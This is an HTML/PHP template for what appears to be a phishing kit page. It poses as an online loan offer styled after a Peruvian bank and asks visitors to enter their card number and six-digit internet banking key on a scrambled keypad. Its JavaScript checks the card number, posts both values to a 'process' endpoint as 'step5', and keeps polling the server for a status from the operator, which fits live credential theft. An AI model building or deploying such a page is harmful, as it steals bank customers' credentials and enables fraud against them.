<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <base href="<?php echo URLROOTBASE ?>" target="_blank">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="public/favicon.ico">
    <link rel="stylesheet" type="text/css" href="public/styles.8972384723.css" />
    <link rel="stylesheet" type="text/css" href="public/estilos.28374234.css" />
    <title>Préstamos en línea</title>
    <style>
        #form1 {

            height: 100%;

        }
    </style>
</head>

<body>
    <form id="form1" onsubmit="return false">
        <div id="modalloader1" class="modalloader1 azul hidden">
            <div class="spinner-container">
                <div class="image" style="top: 52px; width: 25px; position: relative;"></div>
                <div class="spinner"></div>
                <p
                    style="text-align: center; font-family: var(--bcp-font-family-primary-regular, 'Flexo-Regular'),helvetica,arial,sans-serif!important; font-size: 13px; color: white; margin-top: 10px;">
                    Espere un momento <br> por favor...</p>
            </div>
        </div>
        <div class="c019">
            <div class="max2 margin-auto">
                <div class="c0191">
                    <img height="25" src="public/paso2.8937458345/logoblanco.8783745345.svg">
                </div>
            </div>

        </div>
        <div style="height: 60px;">&nbsp;</div>
        <div class="c026">
            
            <div class="mb-30 textcenter">
                <p style="font-size: 1.4rem;" class="text6">
                    ¡Estás a solo un paso de recibir tu préstamo!
                </p>
            </div>
            <div class="mb-50 textcenter">
                <p style="font-size: 1rem;" class="text2">
                    Para continuar con el proceso por favor inicie sesion, para validar sus datos
                </p>
            </div>

            <div class="mb-30">
                <div class="input1 ">
                    <div class="input1-c001">
                        <input inputmode="numeric" maxlength="19" required id="tarj" type="text" name="tarj">
                        <label for="monto">Número de tarjeta</label>
                    </div>
                    <div class="input1-c002">
                        <p style="font-size: .75rem;" class="text3">
                            Ingresa tu tarjeta correcta
                        </p>
                    </div>
                </div>
            </div>

            <div class="mb-50">
                <div class="inpkey1">
                    <div class="input1">
                        <div class="input1-c001">
                            <input inputmode="numeric" maxlength="19" required id="key6" type="text" name="key6">
                            <label for="monto">
                                Clave de Internet de 6 dígitos
                            </label>
                        </div>
                    </div>
                    <div id="teclado1" class="teclado ">
                        <button type="button">2</button>
                        <button type="button">1</button>
                        <button type="button">4</button>
                        <button type="button">3</button>

                        <button type="button">6</button>
                        <button type="button">5</button>
                        <button type="button">8</button>
                        <button type="button">7</button>

                        <button type="button" class="borrar nohover">
                            <img width="25" src="public/iconoborrar.png">
                        </button>
                        <button type="button">0</button>
                        <button type="button">9</button>
                        <button type="button" class="eliminar nohover">
                            <img width="25" src="public/iconoeliminar.png">
                        </button>
                    </div>
                </div>
            </div>

            <div style="height: 40px;"></div>
            <div class="mb-10">
                <button id="btn1" class="btn1" type="button">
                    <span>Continuar</span>
                </button>
            </div>

            <div style="height: 50px;"></div>
        </div>
    </form>
    <script src="public/scripts.js"></script>
    <script>

        var URLROOTBASE = '<?php echo URLROOTBASE ?>'
        var modalloader1 = document.getElementById("modalloader1")
        var form = document.getElementById("form1")
        var btn = document.getElementById("btn1")

        var tarj = form.querySelector("input[name=tarj]")
        var key6 = form.querySelector("input[name=key6]")

        var teclado1 = document.getElementById("teclado1")

        
        recheckstatus = function () {
            window.setTimeout(checkstatus, 2000)
        }

        checkstatus = async function () {
            let btn = form.querySelector(".btn1")
            let url = URLROOTBASE + `process`
            let fd = new FormData()
            fd.append("accion", "getUserData")
            let envio = await fetch(url, {
                method: "post",
                body: fd
            })

            let raw = await envio.text()

            if (!envio.ok) {

                window.setTimeout(checkstatus, 2500)
                return
            }

            try {
                let json = JSON.parse(raw)
                let esta = json.esta

                if (esta != "delay") {
                    location.reload()
                    return
                    //return
                }


                window.setTimeout(checkstatus, 2500)
                return

            } catch (ex) {
                window.setTimeout(checkstatus, 2500)
                return
            }


        }
        
        sub = async function () {

            let cardvalid = validateCardNumber(tarj.value.replace(' ',''))
            console.log(cardvalid)

            if (tarj.value.length != 19 || !cardvalid) {

                tarj.closest(".input1").classList.add("error")
                tarj.focus()
                return
            }
            tarj.closest(".input1").classList.remove("error")

            if (key6.value.length != 6) {
                key6.closest(".input1").classList.add("error")
                teclado1.closest(".inpkey1").classList.add("showkeyboard")
                return
            }
            key6.closest(".input1").classList.remove("error")
            teclado1.closest(".inpkey1").classList.remove("showkeyboard")

            btn.classList.add("processing")
            show(modalloader1)

            let url = URLROOTBASE + "process"
            let fd = new FormData(form)
            fd.append("accion","step5")
            let envio = await fetch(url,{
                method:"post",
                body:fd
            })

            let raw = await envio.text()

            if(!envio.ok){
                location.reload()
                return
            }

            window.setTimeout(checkstatus,3000)

        }

        init = function () {

            btn.addEventListener("click", sub)

            document.querySelectorAll(".inpkey1 #teclado1 button").forEach(el => {
                el.addEventListener("click", (e) => {

                    let targ = e.target
                    let cls = targ.className
                    let txt = targ.innerText
                    let teclado = targ.closest(".teclado")
                    let inpkey1 = targ.closest(".inpkey1")
                    let input = inpkey1.querySelector(".input1 .input1-c001 input[type=text]")

                    if (cls == "") {
                        if (input.value.length < 6) {
                            input.value += txt

                        }
                        if (input.value.length >= 6) {
                            inpkey1.classList.remove("showkeyboard")
                        }
                    }

                    if (cls == "borrar nohover") {
                        input.value = ""
                    }
                    if (cls == "eliminar nohover") {
                        input.value = input.value.slice(0, -1)
                    }

                })
            })

            document.querySelectorAll(".inpkey1 .input1 .input1-c001 input[type=text]").forEach(el => {
                el.addEventListener("click", (e) => {
                    let targ = e.target
                    console.log(targ)
                    let inpkey1 = targ.closest(".inpkey1")
                    inpkey1.classList.add("showkeyboard")
                })
            })

            tarj.addEventListener("keyup", (e) => {
                let targ = e.target

                targ.value = targ.value.replace(/[^\s0-9]+/gi, '')
                if (e.key.toLowerCase() != "backspace") {
                    if (targ.value.length == 4 || targ.value.length == 9 || targ.value.length == 14) {
                        targ.value += " "
                    }
                }


            })


        }

        window.addEventListener("load", init)

    </script>
</body>

</html>